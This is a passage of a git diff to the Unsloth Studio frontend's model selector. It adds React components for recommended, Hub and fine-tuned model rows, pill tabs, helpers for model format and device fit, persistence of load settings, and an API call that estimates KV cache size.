+                        <Spinner className="size-3.5 text-muted-foreground" />
+                      </div>
+                    </>
+                  )}
+                </>
+              ) : null}
+
+              {showHfSection &&
+              section === "recommended" &&
+              filteredRecommendedIds.length > 0 ? (
+                <>
+                  {filteredRecommendedIds.map((id) => {
+                    const vram = recommendedVramMap.get(id);
+                    const optionKey = makeModelOptionKey(
+                      "search-recommended",
+                      id,
+                    );
+                    return (
+                      <div key={id}>
+                        <ModelRow
+                          label={id}
+                          capabilities={capsById.get(id)}
+                          meta={
+                            isKnownGgufRepo(id)
+                              ? "GGUF"
+                              : (vram?.detail ?? extractParamLabel(id))
+                          }
+                          selected={value === id}
+                          optionProps={hubModelList.getOptionProps(
+                            optionKey,
+                            value === id,
+                          )}
+                          onClick={() => {
+                            if (isKnownGgufRepo(id)) {
+                              setExpandedGguf((prev) =>
+                                prev === id ? null : id,
+                              );
+                            } else {
+                              handleModelClick(id);
+                            }
+                          }}
+                          vramStatus={
+                            isKnownGgufRepo(id) ? null : (vram?.status ?? null)
+                          }
+                          vramEst={isKnownGgufRepo(id) ? undefined : vram?.est}
+                          gpuGb={gpu.available ? gpu.memoryTotalGb : undefined}
+                          onArrowDownIntoChildren={
+                            expandedGguf === id
+                              ? () => {
+                                  const focused =
+                                    focusFirstChildOption(optionKey);
+                                  return focused;
+                                }
+                              : undefined
+                          }
+                        />
+                        {expandedGguf === id && (
+                          <GgufVariantExpander
+                            repoId={id}
+                            onSelect={onSelect}
+                            parentOptionKey={optionKey}
+                            onNavigatePastStart={() =>
+                              hubModelList.focusOption(optionKey)
+                            }
+                            onNavigatePastEnd={() =>
+                              hubModelList.moveFocus(optionKey, "next")
+                            }
+                            gpuGb={
+                              gpu.available ? gpu.memoryTotalGb : undefined
+                            }
+                            systemRamGb={gpu.systemRamAvailableGb || undefined}
+                            onDeleteVariant={async (quant) => {
+                              await deleteCachedModel(id, quant);
+                              refreshCachedLists();
+                            }}
+                          />
+                        )}
+                      </div>
+                    );
+                  })}
+                </>
+              ) : null}
+
+              {showHfSection && section === "recommended" ? (
+                <>
+                  {hfIds.length === 0 && !isLoading ? (
+                    filteredRecommendedIds.length === 0 ? (
+                      <div className="px-2.5 py-2 text-xs text-muted-foreground">
+                        No matching Unsloth models.
+                      </div>
+                    ) : null
+                  ) : (
+                    hfIds.map((id) => {
+                      const vram = vramMap.get(id);
+                      const isSearchGguf = isKnownGgufRepo(id);
+                      const optionKey = makeModelOptionKey("search-hf", id);
+                      return (
+                        <div key={id}>
+                          <ModelRow
+                            label={id}
+                            capabilities={capsById.get(id)}
+                            meta={
+                              isSearchGguf
+                                ? "GGUF"
+                                : [
+                                    metricsById.get(id) ??
+                                      extractParamLabel(id),
+                                    isMlxId(id) ? "MLX" : "Safetensors",
+                                  ]
+                                    .filter(Boolean)
+                                    .join(" · ")
+                            }
+                            selected={value === id}
+                            optionProps={hubModelList.getOptionProps(
+                              optionKey,
+                              value === id,
+                            )}
+                            onClick={() => {
+                              if (isSearchGguf) {
+                                setExpandedGguf((prev) =>
+                                  prev === id ? null : id,
+                                );
+                              } else {
+                                handleModelClick(id);
+                              }
+                            }}
+                            vramStatus={
+                              isSearchGguf ? null : (vram?.status ?? null)
+                            }
+                            vramEst={isSearchGguf ? undefined : vram?.est}
+                            gpuGb={
+                              gpu.available ? gpu.memoryTotalGb : undefined
+                            }
+                            onArrowDownIntoChildren={
+                              expandedGguf === id
                                 ? () => {
-                                    const focused = focusFirstChildOption(optionKey);
+                                    const focused =
+                                      focusFirstChildOption(optionKey);
                                     return focused;
                                   }
                                 : undefined
                             }
                           />
-                        </div>
-                        {canDelete && (
-                          <ModelDeleteAction
-                            ariaLabel={`Delete ${adapter.name}`}
-                            title="Delete fine-tuned model?"
-                            description={
-                              <>
-                                This will remove{" "}
-                                <span className="font-medium text-foreground">
-                                  {adapter.name}
-                                </span>{" "}
-                                from disk. This cannot be undone.
-                              </>
-                            }
-                            successMessage={`Deleted ${adapter.name}`}
-                            disabled={deleteDisabled}
-                            onConfirm={() =>
-                              deleteFineTunedModel({
-                                modelPath: adapter.id,
-                                source: isExported ? "exported" : "training",
-                                exportType: adapter.exportType,
-                              })
-                            }
-                            onDeleted={() =>
-                              onModelsChange?.({ id: adapter.id })
-                            }
-                          />
-                        )}
-                      </div>
-                      {expandedGguf === adapter.id && (
-                        <GgufVariantExpander
-                          repoId={adapter.id}
-                          onSelect={onSelect}
-                          parentOptionKey={optionKey}
-                          onNavigatePastStart={() =>
-                            loraModelList.focusOption(optionKey)
-                          }
-                          onNavigatePastEnd={() =>
-                            loraModelList.moveFocus(optionKey, "next")
-                          }
-                          gpuGb={gpu.available ? gpu.memoryTotalGb : undefined}
-                          systemRamGb={
-                            gpu.available ? gpu.systemRamAvailableGb : undefined
-                          }
-                          sourceOverride={isExportedGguf ? "exported" : undefined}
-                          deleteVariantTitle="Delete exported GGUF variant?"
-                          renderDeleteVariantDescription={(quant) => (
-                            <>
-                              This will remove{" "}
-                              <span className="font-medium text-foreground">
-                                {adapter.name} ({quant})
-                              </span>{" "}
-                              from disk. This cannot be undone.
-                            </>
+                          {expandedGguf === id && (
+                            <GgufVariantExpander
+                              repoId={id}
+                              onSelect={onSelect}
+                              parentOptionKey={optionKey}
+                              onNavigatePastStart={() =>
+                                hubModelList.focusOption(optionKey)
+                              }
+                              onNavigatePastEnd={() =>
+                                hubModelList.moveFocus(optionKey, "next")
+                              }
+                              gpuGb={
+                                gpu.available ? gpu.memoryTotalGb : undefined
+                              }
+                              systemRamGb={gpu.systemRamAvailableGb || undefined}
+                              onDeleteVariant={async (quant) => {
+                                await deleteCachedModel(id, quant);
+                                refreshCachedLists();
+                              }}
+                            />
                           )}
-                          getDeleteVariantSuccessMessage={(quant) =>
-                            `Deleted ${adapter.name} ${quant}`
-                          }
-                          deleteDisabled={deleteDisabled}
-                          onDeleteVariant={
-                            isExportedGguf
-                              ? async (quant) => {
-                                  await deleteFineTunedModel({
-                                    modelPath: adapter.id,
-                                    source: "exported",
-                                    exportType: "gguf",
-                                    ggufVariant: quant,
-                                  });
-                                  onModelsChange?.({
-                                    id: adapter.id,
-                                    ggufVariant: quant,
-                                  });
-                                }
-                              : undefined
-                          }
-                        />
-                      )}
+                        </div>
+                      );
+                    })
+                  )}
+                  <div ref={sentinelRef} className="h-px" />
+                  {isLoadingMore ? (
+                    <div className="flex items-center justify-center py-2">
+                      <Spinner className="size-3.5 text-muted-foreground" />
                     </div>
-                  );
-                })}
-              </div>
-            ))
+                  ) : null}
+                </>
+              ) : null}
+            </>
           )}
         </div>
       </div>
-
+      {/* Floating eject pill: overlaid on the list bottom, outside the scroll
+          so the edge fade never touches it. Only the pill catches clicks. */}
+      {onEject ? (
+        <div className="pointer-events-none absolute inset-x-0 bottom-0 flex justify-end pr-3.5 pb-5">
+          <button
+            type="button"
+            onClick={onEject}
+            className="pointer-events-auto inline-flex items-center justify-center gap-2 rounded-md bg-popover px-3 py-2 text-[13px] text-destructive shadow-[0_2px_8px_-2px_rgba(0,0,0,0.16)] transition-colors hover:bg-[color-mix(in_srgb,var(--destructive)_12%,var(--popover))] dark:bg-[color-mix(in_srgb,var(--foreground)_10%,var(--sidebar))] dark:shadow-none dark:hover:bg-[color-mix(in_srgb,var(--destructive)_22%,var(--sidebar))]"
+            title="Eject model"
+          >
+            <HugeiconsIcon icon={RemoveCircleIcon} className="size-3.5" />
+            Eject model
+          </button>
+        </div>
+      ) : null}
     </div>
   );
 }
+
+/** Fine-tuned model rows for the On Device tab's Fine-tuned section. Plugs into
+ * that section's roving list and shared GGUF-expand state. */
+function FineTunedRows({
+  adapters,
+  value,
+  onSelect,
+  onModelsChange,
+  deleteDisabled = false,
+  loraModelList,
+  expandedGguf,
+  setExpandedGguf,
+  gpu,
+}: {
+  adapters: LoraModelOption[];
+  value?: string;
+  onSelect: (id: string, meta: ModelSelectorChangeMeta) => void;
+  onModelsChange?: (deletedModel?: DeletedModelRef) => void;
+  deleteDisabled?: boolean;
+  loraModelList: ReturnType<typeof useRovingModelList>;
+  expandedGguf: string | null;
+  setExpandedGguf: Dispatch<SetStateAction<string | null>>;
+  gpu: {
+    available: boolean;
+    memoryTotalGb: number;
+    systemRamAvailableGb: number;
+  };
+}) {
+  return (
+    <>
+      {adapters.map((adapter) => {
+        const isLocal = adapter.source === "local";
+        const isTraining = adapter.source === "training";
+        const isExported = adapter.source === "exported";
+        const isMerged = adapter.exportType === "merged";
+        const isGguf = adapter.exportType === "gguf";
+        const isExportedGguf = isExported && isGguf;
+        const canDelete = canDeleteLoraModel(adapter);
+        const isTrainingFull = isTraining && isMerged;
+        const isLocalGgufDir =
+          isLocal && (isGgufRepo(adapter.id) || isGgufRepo(adapter.name));
+        const optionKey = makeModelOptionKey("lora", adapter.id);
+        const tag = isLocal
+          ? isLocalGgufDir
+            ? "GGUF"
+            : "Local"
+          : isGguf
+            ? "GGUF"
+            : isTrainingFull
+              ? "Full"
+              : isExported
+                ? isMerged
+                  ? "Merged"
+                  : "LoRA"
+                : "LoRA";
+        const meta = isLocal
+          ? isLocalGgufDir
+            ? "GGUF"
+            : "Local"
+          : isTrainingFull
+            ? "Full finetune"
+            : isExported
+              ? `${tag} · Exported`
+              : tag;
+        return (
+          <div key={adapter.id}>
+            <div className="flex items-center gap-0.5">
+              <div className="min-w-0 flex-1">
+                <ModelRow
+                  label={adapter.name}
+                  meta={meta}
+                  selected={value === adapter.id}
+                  optionProps={loraModelList.getOptionProps(
+                    optionKey,
+                    value === adapter.id,
+                  )}
+                  onClick={() => {
+                    if (isLocalGgufDir || isExportedGguf) {
+                      setExpandedGguf((prev) =>
+                        prev === adapter.id ? null : adapter.id,
+                      );
+                    } else {
+                      onSelect(adapter.id, {
+                        source: isLocal
+                          ? "local"
+                          : isExported
+                            ? "exported"
+                            : "lora",
+                        isLora: !isLocal && !isMerged && !isGguf,
+                        isDownloaded: true,
+                      });
+                    }
+                  }}
+                  tooltipText={
+                    <>
+                      <span className="block break-words">{adapter.name}</span>
+                      <span className="block mt-1 text-[10px] text-muted-foreground break-all">
+                        {adapter.id}
+                      </span>
+                    </>
+                  }
+                  onArrowDownIntoChildren={
+                    expandedGguf === adapter.id
+                      ? () => {
+                          const focused = focusFirstChildOption(optionKey);
+                          return focused;
+                        }
+                      : undefined
+                  }
+                />
+              </div>
+              {canDelete && (
+                <ModelDeleteAction
+                  ariaLabel={`Delete ${adapter.name}`}
+                  title="Delete fine-tuned model?"
+                  description={
+                    <>
+                      This will remove{" "}
+                      <span className="font-medium text-foreground">
+                        {adapter.name}
+                      </span>{" "}
+                      from disk. This cannot be undone.
+                    </>
+                  }
+                  successMessage={`Deleted ${adapter.name}`}
+                  disabled={deleteDisabled}
+                  onConfirm={() =>
+                    deleteFineTunedModel({
+                      modelPath: adapter.id,
+                      source: isExported ? "exported" : "training",
+                      exportType: adapter.exportType,
+                    })
+                  }
+                  onDeleted={() => onModelsChange?.({ id: adapter.id })}
+                />
+              )}
+            </div>
+            {expandedGguf === adapter.id && (
+              <GgufVariantExpander
+                repoId={adapter.id}
+                onSelect={onSelect}
+                parentOptionKey={optionKey}
+                onNavigatePastStart={() => loraModelList.focusOption(optionKey)}
+                onNavigatePastEnd={() =>
+                  loraModelList.moveFocus(optionKey, "next")
+                }
+                gpuGb={gpu.available ? gpu.memoryTotalGb : undefined}
+                systemRamGb={gpu.systemRamAvailableGb || undefined}
+                sourceOverride={isExportedGguf ? "exported" : undefined}
+                deleteVariantTitle="Delete exported GGUF variant?"
+                renderDeleteVariantDescription={(quant) => (
+                  <>
+                    This will remove{" "}
+                    <span className="font-medium text-foreground">
+                      {adapter.name} ({quant})
+                    </span>{" "}
+                    from disk. This cannot be undone.
+                  </>
+                )}
+                getDeleteVariantSuccessMessage={(quant) =>
+                  `Deleted ${adapter.name} ${quant}`
+                }
+                deleteDisabled={deleteDisabled}
+                onDeleteVariant={
+                  isExportedGguf
+                    ? async (quant) => {
+                        await deleteFineTunedModel({
+                          modelPath: adapter.id,
+                          source: "exported",
+                          exportType: "gguf",
+                          ggufVariant: quant,
+                        });
+                        onModelsChange?.({
+                          id: adapter.id,
+                          ggufVariant: quant,
+                        });
+                      }
+                    : undefined
+                }
+              />
+            )}
+          </div>
+        );
+      })}
+    </>
+  );
+}
diff --git a/studio/frontend/src/components/assistant-ui/model-selector/pill-tabs.tsx b/studio/frontend/src/components/assistant-ui/model-selector/pill-tabs.tsx
new file mode 100644
index 0000000000..e6da8a7b74
--- /dev/null
+++ b/studio/frontend/src/components/assistant-ui/model-selector/pill-tabs.tsx
@@ -0,0 +1,104 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+import { cn } from "@/lib/utils";
+import type { ReactNode } from "react";
+
+export interface PillTab {
+  value: string;
+  label: string;
+  icon?: ReactNode;
+}
+
+/** Segmented pill toggle reusing the Hub's .hub-tab-toggle styling (extended in
+ * hub.css to also match .unsloth-model-selector-menu). Keeps tab roles for
+ * keyboard nav. */
+export function PillTabs({
+  tabs,
+  value,
+  onValueChange,
+  ariaLabel,
+  className,
+  compact = false,
+  fit = false,
+}: {
+  tabs: PillTab[];
+  value: string;
+  onValueChange: (value: string) => void;
+  ariaLabel: string;
+  className?: string;
+  compact?: boolean;
+  /** Size each tab to its label instead of equal widths. The active tab carries
+   * the pill background directly (the toggle never animates). */
+  fit?: boolean;
+}) {
+  const activeIndex = Math.max(
+    0,
+    tabs.findIndex((tab) => tab.value === value),
+  );
+  return (
+    <div
+      role="tablist"
+      aria-label={ariaLabel}
+      className={cn(
+        "hub-menu-trigger hub-tab-toggle relative inline-flex items-center rounded-full",
+        compact ? "h-7" : "h-9",
+        // Don't stretch to fill a flex-column parent (the popover) in fit mode,
+        // and never compress so the last tab keeps its padding.
+        fit && "w-fit max-w-full shrink-0 self-start",
+        className,
+      )}
+    >
+      {!fit && (
+        <span
+          aria-hidden="true"
+          style={{
+            width: `${100 / tabs.length}%`,
+            transform: `translateX(${activeIndex * 100}%)`,
+          }}
+          className="hub-tab-toggle-pill pointer-events-none absolute inset-y-0 left-0 rounded-full transition-transform duration-200 ease-out"
+        />
+      )}
+      {tabs.map((tab, index) => (
+        <button
+          key={tab.value}
+          type="button"
+          role="tab"
+          aria-selected={value === tab.value}
+          // Roving tabindex: only the active tab is in the tab order; Arrow
+          // Left/Right move between tabs (WAI-ARIA tablist pattern). ArrowDown
+          // is left to bubble so the picker's "enter the list" handler still runs.
+          tabIndex={value === tab.value ? 0 : -1}
+          onKeyDown={(e) => {
+            if (e.key !== "ArrowRight" && e.key !== "ArrowLeft") return;
+            e.preventDefault();
+            const next =
+              (index + (e.key === "ArrowRight" ? 1 : -1) + tabs.length) %
+              tabs.length;
+            onValueChange(tabs[next].value);
+            e.currentTarget.parentElement
+              ?.querySelectorAll<HTMLElement>('button[role="tab"]')
+              [next]?.focus();
+          }}
+          onClick={() => onValueChange(tab.value)}
+          className={cn(
+            "relative z-10 inline-flex items-center justify-center gap-1.5 rounded-full transition-colors",
+            fit ? "shrink-0" : "min-w-0 flex-1",
+            compact ? "h-7 px-2.5 text-[11px]" : "h-9 px-3 text-[12.5px]",
+            value === tab.value
+              ? "text-foreground"
+              : "text-muted-foreground hover:text-foreground",
+            // The active tab carries the pill; pin its hover bg so an
+            // already-selected tab shows no hover change.
+            fit &&
+              value === tab.value &&
+              "hub-tab-toggle-pill hover:!bg-[var(--background)] dark:hover:!bg-[color-mix(in_srgb,var(--foreground)_10%,transparent)]",
+          )}
+        >
+          {tab.icon}
+          {tab.label}
+        </button>
+      ))}
+    </div>
+  );
+}
diff --git a/studio/frontend/src/components/assistant-ui/model-selector/recommended-fit.ts b/studio/frontend/src/components/assistant-ui/model-selector/recommended-fit.ts
new file mode 100644
index 0000000000..24f0edc784
--- /dev/null
+++ b/studio/frontend/src/components/assistant-ui/model-selector/recommended-fit.ts
@@ -0,0 +1,116 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+// Pure helpers for the Recommended list: which formats to surface and whether a
+// model fits the device. No React/DOM deps so they are easy to test.
+
+const GGUF_SUFFIX_RE = /-GGUF(?:$|-)/i;
+const MLX_RE = /-MLX(?:$|-)/i;
+
+export function isGgufId(id: string, hintedIsGguf?: boolean): boolean {
+  return Boolean(hintedIsGguf) || GGUF_SUFFIX_RE.test(id);
+}
+
+export function isMlxId(id: string): boolean {
+  return MLX_RE.test(id);
+}
+
+// "mobile" build token (e.g. "gemma-4-E4B-it-qat-mobile-GGUF"); bounded so it
+// never matches inside a longer word.
+const MOBILE_RE = /(?:^|[-_/. ])mobile(?:$|[-_/. ])/i;
+
+/** A mobile-targeted build, which we keep out of the Recommended list. */
+export function isMobileVariant(id: string): boolean {
+  return MOBILE_RE.test(id);
+}
+
+/** Recommended only surfaces ready-to-run local formats (GGUF / MLX). */
+export function isRunnableRecommendedFormat(
+  id: string,
+  hintedIsGguf?: boolean,
+): boolean {
+  return isGgufId(id, hintedIsGguf) || isMlxId(id);
+}
+
+/** What Recommended is allowed to suggest: GGUF anywhere; on Mac also MLX and
+ * safetensors (both now run locally there). GPU keeps GGUF-only recommendations. */
+export function isRecommendableFormat(
+  id: string,
+  hintedIsGguf: boolean | undefined,
+  isMac: boolean,
+): boolean {
+  if (isGgufId(id, hintedIsGguf)) return true;
+  return isMac;
+}
+
+/** Format filter for the listing toggle. "safetensors" means anything that is
+ * neither GGUF nor MLX. */
+export type FormatFilter = "all" | "gguf" | "mlx" | "safetensors";
+
+export function matchesFormatFilter(
+  id: string,
+  hintedIsGguf: boolean | undefined,
+  filter: FormatFilter,
+): boolean {
+  switch (filter) {
+    case "gguf":
+      return isGgufId(id, hintedIsGguf);
+    case "mlx":
+      return isMlxId(id);
+    case "safetensors":
+      return !isGgufId(id, hintedIsGguf) && !isMlxId(id);
+    default:
+      return true;
+  }
+}
+
+// First "<n>B" token in a repo id, e.g. "Qwen3-4B-GGUF" -> 4, "gpt-oss-20b" ->
+// 20, "Qwen3-30B-A3B" -> 30 (MoE total), "gemma-4-E4B" -> 4 (effective-param
+// "E" series). The digits must be bounded by a separator so we never read "16"
+// from "bf16" or the "2" in "Kimi-K2".
+const PARAM_RE = /(?:^|[-_/. ])[eE]?(\d+(?:\.\d+)?)\s*[bB](?=$|[-_./ ])/;
+
+/** Parameter count (absolute, e.g. 4e9) parsed from a repo id, or undefined
+ * when the id has no size token (so callers can treat the size as unknown). */
+export function paramsFromId(id: string): number | undefined {
+  const match = PARAM_RE.exec(id);
+  if (!match) return undefined;
+  const billions = parseFloat(match[1]);
+  return Number.isFinite(billions) && billions > 0 ? billions * 1e9 : undefined;
+}
+
+// Smallest practical GGUF/MLX quant (~Q2_K, low-bit). The fit check asks whether
+// a model can run at all, so it uses this rather than a default 4-bit size; a
+// user with a smaller device can still pick a low-bit variant.
+const MIN_QUANT_BYTES_PER_PARAM = 0.4;
+
+/** Rough on-disk bytes for the smallest practical quant of `params` weights. */
+export function estimateQuantBytes(params: number): number {
+  return params * MIN_QUANT_BYTES_PER_PARAM;
+}
+
+/** A model fits when its on-disk size (or a precomputed VRAM estimate) is within
+ * the device budget (0.7*GPU + 0.7*RAM). Unknown device means we cannot tell, so
+ * treat it as fitting. Unknown size normally fits too, but Recommended passes
+ * `requireKnown` so a model we cannot size (e.g. a huge GGUF with no metadata or
+ * size token) is hidden rather than wrongly shown. */
+export function fitsDevice(opts: {
+  sizeBytes?: number;
+  estimatedVramGb?: number;
+  gpuGb?: number;
+  systemRamGb?: number;
+  requireKnown?: boolean;
+}): boolean {
+  const { sizeBytes, estimatedVramGb, gpuGb, systemRamGb, requireKnown } = opts;
+  // Unified-memory hosts (Mac / no discrete GPU) report system RAM but no GPU,
+  // so the budget must include RAM. Only an entirely unknown budget fits freely.
+  const budgetGb = Math.max(0, gpuGb ?? 0) * 0.7 + Math.max(0, systemRamGb ?? 0) * 0.7;
+  if (budgetGb <= 0) return true;
+  if (sizeBytes && sizeBytes > 0) {
+    return sizeBytes / 1024 ** 3 <= budgetGb;
+  }
+  if (estimatedVramGb && estimatedVramGb > 0) {
+    return estimatedVramGb <= budgetGb;
+  }
+  return requireKnown ? false : true;
+}
diff --git a/studio/frontend/src/components/assistant-ui/model-selector/remembered-load-settings.ts b/studio/frontend/src/components/assistant-ui/model-selector/remembered-load-settings.ts
new file mode 100644
index 0000000000..85e088ffb2
--- /dev/null
+++ b/studio/frontend/src/components/assistant-ui/model-selector/remembered-load-settings.ts
@@ -0,0 +1,54 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+// Per-model pre-load inference settings, persisted in localStorage so the load
+// dialog can offer "Remember settings for <model>".
+
+const KEY = "unsloth_load_settings";
+
+export interface RememberedLoadSettings {
+  contextLength: number | null;
+  kvCacheDtype: string | null;
+  speculativeType: string | null;
+  specDraftNMax: number | null;
+  tensorParallel: boolean;
+}
+
+function readAll(): Record<string, RememberedLoadSettings> {
+  try {
+    return JSON.parse(localStorage.getItem(KEY) ?? "{}");
+  } catch {
+    return {};
+  }
+}
+
+function writeAll(all: Record<string, RememberedLoadSettings>) {
+  try {
+    localStorage.setItem(KEY, JSON.stringify(all));
+  } catch {
+    // Ignore quota / unavailable storage.
+  }
+}
+
+export function loadRememberedLoadSettings(
+  modelId: string,
+): RememberedLoadSettings | null {
+  return readAll()[modelId] ?? null;
+}
+
+export function saveRememberedLoadSettings(
+  modelId: string,
+  settings: RememberedLoadSettings,
+) {
+  const all = readAll();
+  all[modelId] = settings;
+  writeAll(all);
+}
+
+export function clearRememberedLoadSettings(modelId: string) {
+  const all = readAll();
+  if (modelId in all) {
+    delete all[modelId];
+    writeAll(all);
+  }
+}
diff --git a/studio/frontend/src/components/assistant-ui/model-selector/row-meta.ts b/studio/frontend/src/components/assistant-ui/model-selector/row-meta.ts
new file mode 100644
index 0000000000..15a93285cb
--- /dev/null
+++ b/studio/frontend/src/components/assistant-ui/model-selector/row-meta.ts
@@ -0,0 +1,93 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+// Pure helpers for model-row presentation: owner/name split, format pills,
+// param chip, tabular size. No React/DOM deps so they stay easy to test.
+
+export type FormatTone = "gguf" | "mlx" | "checkpoint" | "adapter";
+
+// Format keyword to DotTag tone. Looked up by full token and by first word,
+// so "Full finetune" resolves via "full".
+export const FORMAT_TONE: Record<string, FormatTone> = {
+  gguf: "gguf",
+  mlx: "mlx",
+  local: "checkpoint",
+  safetensors: "checkpoint",
+  checkpoint: "checkpoint",
+  lora: "adapter",
+  merged: "adapter",
+  adapter: "adapter",
+  exported: "adapter",
+  full: "adapter",
+};
+
+/** Split "owner/name" on the last slash. No slash means name only. */
+export function splitRepoLabel(label: string): {
+  owner: string | null;
+  name: string;
+} {
+  const slash = label.lastIndexOf("/");
+  if (slash <= 0 || slash === label.length - 1) {
+    return { owner: null, name: label };
+  }
+  return { owner: label.slice(0, slash), name: label.slice(slash + 1) };
+}
+
+export type MetaToken =
+  | { kind: "format"; label: string; tone: FormatTone }
+  | { kind: "size"; label: string }
+  | { kind: "param"; label: string }
+  | { kind: "text"; label: string };
+
+const META_SIZE_RE = /(?:KB|MB|GB|TB)\b/i;
+const META_APPROX_RE = /^~/;
+const META_PARAM_RE = /^\d+(?:\.\d+)?B$/i;
+const META_WHITESPACE_RE = /\s+/;
+
+/** Classify a meta token: size (has KB/MB/GB/TB or leading "~"), param (bare
+ * "<n>B" like "4B"), format keyword, or plain text. */
+export function classifyMetaToken(raw: string): MetaToken | null {
+  const t = raw.trim();
+  if (!t) return null;
+  if (META_SIZE_RE.test(t) || META_APPROX_RE.test(t)) {
+    return { kind: "size", label: t };
+  }
+  if (META_PARAM_RE.test(t)) {
+    return { kind: "param", label: t.toUpperCase() };
+  }
+  const lower = t.toLowerCase();
+  const tone =
+    FORMAT_TONE[lower] ?? FORMAT_TONE[lower.split(META_WHITESPACE_RE)[0]];
+  if (tone) {
+    return { kind: "format", label: t, tone };
+  }
+  return { kind: "text", label: t };
+}
+
+/** Parse the dot-separated meta string into structured tokens. */
+export function parseMetaTokens(meta?: string | null): {
+  formats: { label: string; tone: FormatTone }[];
+  param?: string;
+  size?: string;
+  texts: string[];
+} {
+  const formats: { label: string; tone: FormatTone }[] = [];
+  const texts: string[] = [];
+  let param: string | undefined;
+  let size: string | undefined;
+  if (!meta) return { formats, texts };
+  for (const part of meta.split("·")) {
+    const token = classifyMetaToken(part);
+    if (!token) continue;
+    if (token.kind === "format") {
+      formats.push({ label: token.label, tone: token.tone });
+    } else if (token.kind === "size") {
+      size ??= token.label;
+    } else if (token.kind === "param") {
+      param ??= token.label;
+    } else {
+      texts.push(token.label);
+    }
+  }
+  return { formats, param, size, texts };
+}
diff --git a/studio/frontend/src/components/assistant-ui/model-selector/source-tabs.ts b/studio/frontend/src/components/assistant-ui/model-selector/source-tabs.ts
new file mode 100644
index 0000000000..8330dbca2e
--- /dev/null
+++ b/studio/frontend/src/components/assistant-ui/model-selector/source-tabs.ts
@@ -0,0 +1,18 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+// Pure rules for the source toggle (Hub models / Fine-tuned / Connected).
+
+export type SourceTab = { value: string; label: string };
+
+/** Local models (LM Studio, Ollama, custom folders) are not fine-tuned; they
+ * live in the Hub tab's Downloaded / Custom sections. */
+export function isFineTunedSource(source?: string): boolean {
+  return source !== "local";
+}
+
+/** Build the source tabs. Fine-tuned and Connected models live as sections in
+ * the Hub tab's toggle, so Hub is the only source and its strip stays hidden. */
+export function buildSourceTabs(): SourceTab[] {
+  return [{ value: "hub", label: "Hub models" }];
+}
diff --git a/studio/frontend/src/components/assistant-ui/model-selector/types.ts b/studio/frontend/src/components/assistant-ui/model-selector/types.ts
index 6a86e4f7ed..6a86515267 100644
--- a/studio/frontend/src/components/assistant-ui/model-selector/types.ts
+++ b/studio/frontend/src/components/assistant-ui/model-selector/types.ts
@@ -31,6 +31,8 @@ export interface ModelSelectorChangeMeta {
   ggufVariant?: string;
   isDownloaded?: boolean;
   expectedBytes?: number;
+  /** Native GGUF context, threaded so a staged pick can seed the slider. */
+  contextLength?: number | null;
   /** Direct local .gguf file picked without a variant (custom folder / LM
    *  Studio). Marks it as a GGUF source for the deferred-load staging flow. */
   isGguf?: boolean;
diff --git a/studio/frontend/src/features/chat/api/chat-api.ts b/studio/frontend/src/features/chat/api/chat-api.ts
index 5003072903..589fae5fe9 100644
--- a/studio/frontend/src/features/chat/api/chat-api.ts
+++ b/studio/frontend/src/features/chat/api/chat-api.ts
@@ -12,8 +12,8 @@ import type {
 } from "../types";
 import type {
   ApiMonitorEntry,
-  AudioGenerationResponse,
   ApiMonitorResponse,
+  AudioGenerationResponse,
   GgufVariantsResponse,
   InferenceStatusResponse,
   ListLorasResponse,
@@ -200,6 +200,9 @@ export interface CachedGgufRepo {
   /** Epoch seconds of the newest downloaded quant; sorts Downloaded
    * newest-first. Optional for older-backend compatibility. */
   last_modified?: number;
+  /** True when the repo ships an mmproj adapter (image inputs). Optional for
+   * older-backend compatibility. */
+  has_vision?: boolean;
 }
 
 export async function getGgufDownloadProgress(
@@ -278,6 +281,9 @@ export interface LocalModelInfo {
   path: string;
   source: "models_dir" | "hf_cache" | "lmstudio" | "custom";
   model_id?: string | null;
+  // Backend-detected weights format ("gguf" when known), so the UI can
+  // classify scanned folders whose name lacks a -GGUF suffix.
+  model_format?: string | null;
   updated_at?: number | null;
 }
 
@@ -777,6 +783,34 @@ export async function listGgufVariants(
   return parseJsonOrThrow<GgufVariantsResponse>(response);
 }
 
+export interface KvCacheEstimate {
+  kv_bytes: number | null;
+  weights_bytes: number | null;
+  native_context: number | null;
+}
+
+/** Estimate KV cache + weight bytes for a downloaded quant at a context length,
+ * for the load dialog's memory warning. */
+export async function estimateKvCache(
+  repoId: string,
+  quant: string,
+  nCtx: number,
+  cacheTypeKv?: string | null,
+  signal?: AbortSignal,
+): Promise<KvCacheEstimate> {
+  const params = new URLSearchParams({
+    repo_id: repoId,
+    quant,
+    n_ctx: String(nCtx),
+  });
+  if (cacheTypeKv) params.set("cache_type_kv", cacheTypeKv);
+  const response = await authFetch(
+    `/api/models/kv-cache-estimate?${params}`,
+    signal ? { signal } : undefined,
+  );
+  return parseJsonOrThrow<KvCacheEstimate>(response);
+}
+
 function parseSseEvent(rawEvent: string): string[] {
   const dataLines: string[] = [];
   for (const line of rawEvent.split(/\r?\n/)) {
diff --git a/studio/frontend/src/features/chat/chat-page.tsx b/studio/frontend/src/features/chat/chat-page.tsx
index 83452c2ea8..4816e1d515 100644
--- a/studio/frontend/src/features/chat/chat-page.tsx
+++ b/studio/frontend/src/features/chat/chat-page.tsx
@@ -9,6 +9,7 @@ import {
   ModelSelector,
 } from "@/components/assistant-ui/model-selector";
 import { ProjectComposer, Thread } from "@/components/assistant-ui/thread";
+import { CopyableErrorChip } from "@/components/ui/copyable-error-chip";
 import {
   ResizableHandle,
   ResizablePanel,
@@ -16,18 +17,20 @@ import {
 } from "@/components/ui/resizable";
 import { useSidebar } from "@/components/ui/sidebar";
 import { Tooltip, TooltipContent } from "@/components/ui/tooltip";
-import { ProjectSourcesPanel } from "@/features/rag/components/project-sources-panel";
+import { useLatestRef } from "@/features/hub/hooks/use-latest-ref";
 import {
+  type NativeIntent,
